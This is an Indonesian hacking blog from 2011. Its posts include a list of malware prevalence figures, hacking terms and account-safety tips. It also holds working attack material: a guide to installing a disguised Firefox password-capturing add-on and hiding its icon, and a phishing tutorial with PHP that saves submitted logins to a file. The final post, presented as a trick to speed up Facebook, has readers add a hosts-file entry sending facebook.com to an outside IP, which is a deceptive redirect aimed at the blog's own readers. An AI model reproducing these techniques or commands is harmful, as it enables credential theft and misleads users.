cyberebyc

Senin, 05 September 2011

100 jenis malware yang ada di indonesia

Malware atau malicious software atau software/perangkat lunak yang diciptakan untuk menyusup dan merusak sistem/jaringan komputer semakin hari semakin banyak saja. Bentuk malware pun semakin beragam, ada virus, botnet, adware, trojan, phising dan worm, termasuk juga hacker tools.

Berikut ini adalah daftar 100 malware yang termasuk ganas yang beredar di Indonesia . Daftar ini berdasarkan data yang dikumpulkan oleh produk antivirus Kaspersky dengan urutan berdasarkan persentase kemunculan yang terdeteksi. Dengan mengetahui nama-nama malware yang mempengaruhi jagad maya Indonesia ini, diharapkan kita dapat merancang strategi pengamanan yang tepat untuk mencegah malware tersebut merusak sistem komputer kita.

1. Net-Worm.Win32.Kido.ih ( 41.9714%)

2. Exploit.Win32.SqlShell.a (9.7527%)

3. HEUR:Trojan.Win32.Generic (7.6628%)

4. Heur.Win32.Trojan.Generic (3.309%)

5. Trojan.Win32.FraudPack.owo (3.1%)

6. Trojan-Downloader.Win32.Agent.cgns (2.5427%)

7. Trojan.Win32.Agent.cltm (1.846%)

8. Trojan.Win32.FraudPack.oxv (1.7416%)

9. Trojan-Dropper.Win32.Small.axv (1.5674%)

10. Trojan.Win32.FraudPack.ovx (1.5674%)

11. Trojan-PSW.Win32.Agent.nfo (1.3236%)

12. Trojan.Win32.Buzus.bhqc (1.2539%)

13. Trojan.Win32.Agent2.kov (1.1494%)

14. Net-Worm.Win32.Kido.dam.y (1.1146%)

15. Heur.Win32.Invader (0.8708%)

16. Net-Worm.Win32.Kido.eo (0.8011%)

17. Trojan.Win32.Monder.cmwt (0.8011%)

18. Trojan-GameThief.Win32.Magania.bfru (0.7315%)

19. Trojan-Downloader.Win32.Agent.ansh (0.6618%)

20. Trojan-Dropper.Win32.Agent.zje (0.5921%)

21. Trojan-Downloader.Win32.Agent.cgew (0.5921%)

22. Trojan-Downloader.Win32.Agent.wxq (0.5573%)

23. not-a-virus:Porn-Dialer.Win32.InstantAccess.f (0.5573%)

24. Trojan-GameThief.Win32.Magania.bfrp (0.5225%)

25. Trojan-Downloader.Win32.Small.jvl (0.5225%)

26. Net-Worm.Win32.Koobface.d (0.4528%)

27. Trojan-Downloader.Win32.Injecter.cqd (0.418%)

28. HEUR:Trojan-Downloader.Win32.Generic (0.3831%)

29. Virus.Win32.Sality.aa (0.3135%)

30. not-a-virus:AdWare.Win32.Relevant.n (0.3135%)

31. Trojan-GameThief.Win32.Magania.bfdq ( 0.2786%)

32. not-a-virus:AdWare.Win32.Agent.lmz (0.2786%)

33. not-a-virus:AdWare.Win32.Shopper.l (0.209%)

34. Trojan-GameThief.Win32.Magania.bful (0.209%)

35. Trojan-GameThief.Win32.WOW.bie (0.209%)

36. not-a-virus:WebToolbar.Win32.FenomenGame.pxu (0.1742%)

37. Trojan-Dropper.Win32.Small.dhn (0.1742%)

38. Exploit.Win32.DCom.ad

39. Trojan-GameThief.Win32.Magania.bffe (0.1742%)

40. Trojan-GameThief.Win32.Magania.bfws (0.1742%)

41. Trojan-Banker.Win32.Banker.aifb (0.1742%)

42. Packed.Win32.Black.d (0.1742%)

43. Trojan.Win32.Agent.cgof (0.1393%)

44. Trojan-Dropper.Win32.Small.ayg (0.1393%)

45. Trojan-Downloader.Win32.FraudLoad.wcby (0.1393%)

46. Trojan-Downloader.Win32.Small.jwq ( 0.1393%)

47. Trojan-GameThief.Win32.OnLineGames.bktw (0.1393%)

48. MultiPacked.Multi.Generic (0.1393%)

49. HEUR:Backdoor.Win32.Generic (0.1045%)

50. Suspicious.Win32.Packer (0.1045%)

51. Virus.Win32.Virut.ce (0.1045%)

52. Backdoor.Win32.IEbooot.dfe (0.1045%)

53. Trojan-Downloader.Win32.FraudLoad.erj ( 0.1045%)

54. Trojan-Dropper.Win32.Agent.atvx (0.1045%)

55. Backdoor.Win32.Agent.ahwn (0.1045%)

56. Multi.Win32.Packed (0.1045%)

57. HEUR:Trojan.Win32.Invader (0.1045%)

58. Trojan.Win32.Agent.abud (0.1045%)

59. Backdoor.Win32.Poison.ahgc (0.1045%)

60. Trojan-GameThief.Win32.Magania.bfsy (0.1045%)

61. Trojan-Downloader.Win32.Agent.cdid (0.1045%)

62. Trojan.Win32.Stuh.pdm (0.1045%)

63. Trojan.Win32.Buzus.bigq (0.1045%)

64. Backdoor.Win32.Small.icr (0.1045%)

65. Backdoor.Win32.Agent.ahgv (0.1045%)

66. Trojan.Win32.Agent.cngn (0.1045%)

67. Backdoor.Win32.Hupigon.aovn (0.1045%)

68. Trojan-Dropper.Win32.Agent.atmg (0.1045%)

69. Packed.Win32.Black.a (0.1045%)

70. HackTool.MSIL.KKFinder.q (0.0697%)

71. Trojan-Downloader.Win32.Small.aliy (0.0697%)

72. not-a-virus:AdWare.Win32.Webdir.e (0.0697%)

73. Email-Worm.Win32.Joleee.bwu (0.0697%)

74. HEUR:Virus.Win32.Generic (0.0697%)

75. Trojan-Dropper.Win32.Small.cdw (0.0697%)

76. Trojan.Win32.Agent.cccr (0.0697%)

77. Trojan.Win32.Midgare.mqa (0.0697%)

78. Backdoor.Win32.Bifrose.aknz (0.0697%)

79. Trojan.Win32.Agent.cmud (0.0697%)

80. not-a-virus:AdWare.Win32.Shopper.v (0.0697%)

81. Backdoor.Win32.Bifrose.fpb (0.0697%)

82. Trojan-Mailfinder.Win32.Mailbot.ec

83. Trojan.Win32.Agent.cjxh (0.0697%)

84. Trojan-Spy.Win32.Zbot.xdj (0.0697%)

85. P2P-Worm.Win32.Archivarius.b (0.0697%)

86. Virus.Win32.Sality.z (0.0697%)

87. HEUR:Worm.Win32.Generic (0.0697%)

88. Trojan-Dropper.Win32.Mudrop.ask (0.0697%)

89. Trojan.Win32.Agent2.hxw (0.0697%)

90. Trojan.Win32.Agent.cmnr (0.0697%)

91. Trojan.Win32.Agent.rzw (0.0697%)

92. Trojan-Downloader.Win32.FraudLoad.eki (0.0697%)

93. Trojan-Downloader.JS.Agent.gj (0.0697%)

94. not-a-virus:AdWare.Win32.AlexaBar.n (0.0697%)

95. Trojan.Win32.KillWin.pi (0.0697%)

96. not-a-virus:AdWare.Win32.Chiem.c (0.0697%)

97. Net-Worm.Win32.Kido.cy

98. Trojan-Downloader.Win32.Agent.cgaw(0.0348%)

99. Trojan-Dropper.Win32.Mudrop.aso (0.0348%)

100. Packed.Win32.Krap.c (0.0348%)

keyloger bawaan firefox

download add ons nya disini

extract newkey.rar
maka keluarlah file berextension .xpi

kemudian install add ons tsb di firefox..
untuk menginstall offline di firefox..
ikuti langkah2 di bwh ini..

1. buka browser Firefox
2. ketik about:config pada addres bar kemudian
3. cari key bernama : extensions.hideInstallButton dimana nilai defaultnya : True
4. Double klik key tersebut agar nilainya menjadi False
5. Restart browser Mozilla Firefox dan hidupkan kembali
6. Lihat pada Menu Tool->Add-ons, maka tombol baru yang bernama Install tlah muncul..

install add ons yg telah di extract..
hasil install tsb bernama video plugin..
kemudian untuk melihat user dan password yg pernah login..
klik option pada video plugin..

tp cuma bisa dilihat di komp/laptop qt sendiri..hehe...
oh iy..jgn lupa ad icon di kanan bawah firefox..
sembunyiin aja biar nggk mencurigakan...

Minggu, 04 September 2011

Cara Hacker curi data

Ada beberapa cara yang digunakan oleh hacker dalam mencuri kartu kredit, antara lain:

Paket sniffer, cara ini adalah cara yang paling cepat untuk mendapatkan data apa saja. Konsep kerjanya mereka cukup memakai program yang dapat melihat atau membuat logging file dari data yang dikirim oleh website e-commerce (penjualan online) yang mereka incar. Pada umumnya mereka mengincar website yang tidak dilengkapi security encryption atau situs yang tidak memiliki security yang bagus.

Membuat program spyware, trojan, worm dan sejenisnya yang berfungsi seperti keylogger (keyboard logger, program mencatat aktifitas keyboard) dan program ini disebar lewat E-mail Spamming (taruh file-nya di attachment), mirc (chatting), messenger (yahoo, MSN), atau situs-situs tertentu dengan icon atau iming-iming yang menarik netter untuk mendownload dan membuka file tersebut. Program ini akan mencatat semua aktivitas komputer anda ke dalam sebuah file, dan akan mengirimnya ke email hacker. Kadang-kadang program ini dapat dijalankan langsung kalau anda masuk ke situs yang di buat hacker atau situs porno.

Menjebol situs e-commerce itu langsung dan mencuri semua data para pelanggannya. Cara ini agak sulit dan perlu pakar hacker atau hacker yang sudah pengalaman untuk melakukannya. Pada umumnya mereka memakai metode injection (memasukan script yang dapat dijalankan oleh situs/server) bagi situs yang memiliki firewall. Ada beberapa cara injection antara lain yang umum digunakan html injection autopilot dan SQL injection. Bagi situs yang tidak memiliki security atau firewall, siap-siaplah dikerjain abis-abisan.

Ada beberapa cara lagi yang dilakukan para hacker, tapi cara-cara di atas adalah cara yang paling umum dilakukan hacker untuk carding. Cara yang tidak umum akan dijelaskan nanti di lain waktu..

Penyebab akun email, facebook, twitter, dsb kena hack

Berbagai alasan facebook kena hack, berbagai sebab email kena hack, twitter kena hack. Apa sih sebenarnya yang terjadi?

Yuk, mari kita telaah lebih dalam lagi, apa yang sebenarnya terjadi:

Kita mulai dari diri kita sendiri:

- Terkadang kita kurang terliti dan kurang hati-hati dalam menyikapi sesuatu, disertai dengan andrenalin yang tinggi yang ada pada diri kita, sehingga menyebabkan kita tedor dan lupa atas apa yang kita lakukan.

- Kurang waspada dan jeli dalam melihat sesuatu, sehingga membuat segala sesuatu menjadi buta, tuli & tak berasa.

- Kurang merasa memiliki dan kurang menjaga apa yang kita miliki, sehingga kita membuat mudah dan menganggap enteng segala sesuatu.

Dari penjelasan diatas, beberapa hal yang menyebabkan email, facebook, twitter, dsb kena hack adalah:

1. Kurang jeli memperhatikan URL Address (Alamat URL), misalkan: http://www.facekook.com, http://facebook.website.com, padahal URL yang sebenarnya adalah http://www.facebook.com. Nah jika anda mengklik situs tersebut, maka anda sudah masuk jebakan batman, karena mungkin bisa saja isi dari website dapat mengandung scam / phising / fakelogin / virus / malware, dsb & Account Anda Raib!

2. Tergiur dengan tipuan yang menggoda, sehingga terjebak pada kesalahan yang fatal, misalkan: “Foto Bugil Artis ABCDE, silakan klik link berikut: http://www.andaterjebak.com“, “Video Mesum Aktor CDEFGH, Baru Loh, silakan klik: http://www.artisvideoporno.com“, “Hadiah besar menanti, Blackberry gratisan: http://www.webpalsugratisan.com“, dan masih banyak tipuan & trik yang lainnya. Sudah pasti tahu apa yang akan terjadi bila mengklik situs tersebut, maka bisa jadi akan bertemu link scam / phising / fake login / virus / malware /spam & Account Anda Terhack apabila anda melakukan penginputan user & password email di situs tersebut!

3. Tidak pernah berfikir bahwa ada “Backdoor, Trojan, Spyware, Keylogger” dalam komputer yang digunakan saat ini, sehingga lupa untuk melakukan checking terhadap aplikasi & service yang sedang berjalan saat ini. Misal: Windows -> Tekan “CTRL+ALT+DEL“, kemudian muncul Taskmanager, checklah aplikasi & service yang berjalan, apabila ada aplikasi / service yang mencurigakan silakan di “End Process / End Task”. Linux: Tinggal ketik “ps- aux”, kemudian kill -9 aplikasi yang mencurigakan. Hapuslah autorun melalui regedit di windows atau hapus crontab di Linux.

4. Kebanyakan tidak mengetahui bahwa password email, facebook, twitter, dsb haruslah BERBEDA. Jika password keseluruhan account yang kita miliki sama, maka akan mempermudah sang hacker untuk memasuki account kita yang lainnya. Namun yang paling penting adalah JAGALAH PASSWORD EMAIL DENGAN BAIK, karena email merupakan akar dari account yang lainnya. Misal: Password email “h4Ck3r$3jAt1“, password facebook “f@c3b()()kk03“, pasword twitter “b3rk#!c@u“, yang terpenting adalah harus berbeda & mudah di ingat.

5. Email dianggap sesuatu yang kedua, karena sangat gampang untuk membuat email, hingga password email lupa karena hampir tidak pernah membuka email yang dibuat. Password email saja lupa, apalagi “Secret Question” nya, ketika dalam kasus Facebook, Twitter terkena hack, maka akan sangat sulit untuk merecovernya kembali.

6. Malas untuk melakukan update account profile / account setting terhadap email, facecook, twitter, dsb. Sehingga informasi mengenai “Alternate Email, Secret Question, Alamat, No. Telp” kadang di isi sembarangan bahkan kadang tidak di isi. Inilah account yang sudah kena hack tidak akan pernah kembali lagi kepada pemiliknya.

7.Tidak ada waktu untuk melakukan perubahan secara berkala terhadap password, passwordnya selalu sama dari awal pembuatan sampai saat ini. Inilah yang dapat menyebabkan password masih bisa dipakai andaikan password sudah masuk dalam log sang hacker walaupun lognya sudah 1-2 tahun yang lalu.

8. Mengisi password secara sembarangan, mudah untuk ditebak & password yang lemah, misal: “abcdef”, “12345″, “21101986″, “201282″, “ayulovejelek”. Biasanya kebanyakan orang mengisi password dengan “Tanggal Lahir, Namadepan & Belakang, Hari Spesial, Nama Pacar, No. HP, Keluarga“. Password harus dibuat minimal terdapat “Alfabet Character, Angka, Symbol & Panjangnya Minimal 10 Character” hal ini bertujuan untuk memperkuat password, password harus sesuatu yang berbeda yang mudah di ingat oleh kita sendiri dan untuk mempersulit ketika ada aktifitas BruteForce terhadap Account.

9. Hal yang paling sering adalah “Lupa Logout & Lupa Clear Browsing History” setelah kita melakukan aktifitas browsing di internet sehingga kebanyakan sang hacker menggunakan cookies yang sebelumnya untuk mengambil alih account & tentu saja account akan hilang ditelan malam. Kebanyakan hal ini terjadi di warnet atau tempat public internet.

10.Salah satu yang paling rentan & karena malas untuk mengisi password, sehingga yang digunakan adalah “Remember Password”, sebaiknya walaupun itu laptop pribadi, pc pribadi, sebaiknya kita tinggalkan kebiasaan ini, karena cukup mudah untuk mengambil account apabila ada “remember password”. Terdapat tools yang juga bisa merecover password yang disave di Browser.

Beberapa hal tersebut yang membuat account terkena hack, akan saya berikan Clue kepada Pembaca anda yang setia membaca sampai sini :
Manusia adalah VULNERABILITY (Sebuah Kelemahan / Kerentanan) yang TIDAK PERNAH BISA DI PATCH! Jika sang hacker sudah pusing & tidak berhasil untuk menghack system. Maka sasarannya adalah MANUSIA itu sendiri, karena Manusia memiliki kelemaan yang tidak pernah bisa di PATCH, kecuali atas se ijin Yang Maha Kuasa
Setiap saat dan setiap waktu setiap ada Bug di sebuah system, developer akan bertindak untuk melakukan PATCH. Oleh sebab itu TIDAK AKAN PERNAH MUDAH UNTUK MELAKUKAN HACK ACCOUNT DIDALAM SYSTEM THE BIG 5 (GOOGLE, YAHOO, MICROSOFT, FACEBOOK, TWITTER). Jadi sebaiknya berhati-hatilah apabila ada jasa penawaran untuk melakukan hacking “Yahoo, Facebook, Gmail, Twitter” dsb, apalagi meminta bayaran & via online. Yang pasti duit anda akan raib begitu saja.

Tetap waspada, teliti, hati-hati dalam menyikapi sesuatu & JANGAN MUDAH TERTIPU oleh orang yang tidak bertanggung jawab. Karena jujur saja, banyak Inbox yang masuk di email saya yang meminta bantuan untuk recover password, hack password, facebook kena hack, yahoo kena hack, hotmail kena hack, gmail kena hack, dan ada juga yang tertipu karena melakukan pembayaran tetapi barang tidak dikirimkan. (Untuk Yang Merasa: Mohon Maaf Apabila Semua Belum Sempat Saya Balas) dikarenakan banyak hal penting lainnya yang harus dikerjakan.

ISTILAH-ISTILAH HACKING

Bug
-> Kesalahan pada pemrograman yang menyebabkan sistem dapat dieksploitasi atau error dengan kondisi tertentu. Dalam web hacking, terdapat beberapa bug seperti RFI, LFI, SQLi, RCE, XSS, dll.

Patch
-> Perbaikan terhadap bug dengan mengupdate sistem yg vurnerable.

Vurnerable
-> Sistem yang memiliki bug sehingga rentan terhadap serangan.

RFI (Remote File Inclusion)
-> penyisipan sebuah file dari luar ke dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load

LFI (Local File Inclusion)
-> suatu bug dimana kita bisa menginclude kan file (file yang berada didalam server yg bersangkutan)
ke page yang vulnerable (vulnerable LFI maksudnya).

SQL Injection
-> salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server.

DDOS
-> membuat suatu sistem crash & karena overload sehingga tidak bisa diakses atau mematikan service.

Shell: inti dari sistem operasi.Shell mengendalikan krj sistem operasi nya.

Shell intepreter: bentuk antarmuka yg merupakan penghubung antara shell dgn brainware. Bentuk umumnya berupa console,cmd,webshell,dll.

Deface: merubah tampilan hlman suatu website secara illegal

Debug: kegiatan mencari bug pada aplikasi dan memperbaiki bug yg d temukan.

XSS
-> adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client

Phising
-> adalah tindakan memperoleh informasi pribadi seperti User ID, password, PIN, nomor rekening bank, nomor kartu kredit Anda secara ilegal.

Keylogger
-> adalah mesin atau software yang dipasang atau diinstal di komputer agar mencatat semua aktivitas yang terjadi pada keyboard (bekerja diam diam alias tidak terketahui oleh kita secara kasat mata)

Fake Login
-> Halaman tiruan/palsu yang dibuat untuk mengelabui user, bertujuan untuk mencuri informasi penting dari user (eg. username, password, email). Seperti pada kasus pencurian email n password Friendster, Facebook, dll.

Fake Process
-> Proses tiruan yang dibuat untuk menyembunyikan nama proses asli, bertujuan untuk mengelabui admin sistem.
Seperti mem-fake "./backdoor" menjadi "usr/sbin/httpd", sehingga ketika di "ps -ax", proses "./backdoor" berubah menjadi "usr/sbin/httpd".
Malicious Code/Script
-> Kode yg dibuat untuk tujuan jahat atau biasa disebut kode jahat.

Virus
-> Kode jahat yg sistim kerjanya seperti virus pada manusia, menggandakan diri dan seperti parasit menopang pada file yg diinfeksinya. File yg terinfeksi menjadi rusak atau ukurannya bertambah. Sekarang kode jenis ini akan sangat mudah terdeteksi pada aplikasi yg memeriksa crc32 dari dirinya.

Worm (Cacing)
-> Kode jahat yg sistim kerjanya seperti cacing, menggandakan diri dan menyebar, tidak menopang pada file. Kebanyakan di Indonesia adalah kode jenis ini.

Trojan (Horse)
-> Kode jahat yg sistim kerjanya seperti kuda trojan pada zaman kerajaan Romawi, masuk ke dalam sistem untuk mengintip dan mencuri informasi penting yg ada didalamnya kemudian mengirimnya kepada pemilik trojan.

cara membuat situs phising

cara membuat situs phising

1. pilih site target yg mau dijadiin halaman phising
2. liat source codenya, klik kanan => source bisa juga ctrl+u trus save jadi index.htm
3. buka index.html yg tadi pake notepad, cari kata "action=" biasanya ketemu yg kaya gini

<form action="RANDOM URL" method="post">
</form>

4. ganti url "RANDOM URL" jadi write.php trus ganti "post" jadi get
5. save
6. bikin "write.php"

<?php
header("Location: http://RANDOM");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

7. ganti tulisan yg http://RANDOM diatas jadi alamat yg diphising misal http://facebook.com
8. save
9. upload deh dalam direktori yg sama ... ;))

sekian tutorial kali ini..semoga bermanfaat.

cara mempercepat koneksi facebook

*mempercepat koneksi facebook*

anda pecinta facebook??
tentu saja bermain FB sangat menyenangkan lalu apa yang terjadi ketika kita bermain FB koneksi menjadi lemot??
tentu sangat menyebalkan,terus apa dung solusi agar saat kita bermain FB tidak lemot??
bermain FB menjadi lambat karena web browser kita mengirim data
facebook ke ip adress 31.170.160.247 dan karena banyak yang user
menggunakan/mengirim data ke 31.170.160.247 tentu akan semakin lambat juga lah koneksi kita
Tenang,hal ini bisa kita akali dengan cara mengganti ip addres agar web browser kita tidak rebutan dengan user FB lain..lalu bagaimana cara menggantinya??

buka CMD ( start ->run ->cmd) kemudian di cmd ketik
ECHO 31.170.160.247 www.facebook.com>>C:\WINDOWS\system32\drivers\etc\hosts

nah sekarang koneksi FB anda akan semakin cepat...
untuk melakukan pengetesan silahkan masuk disini

--==SELAMAT MENCOBA==--

kalo masih ada pertanyaan silahkan langsung join di grup facebook blog ini disini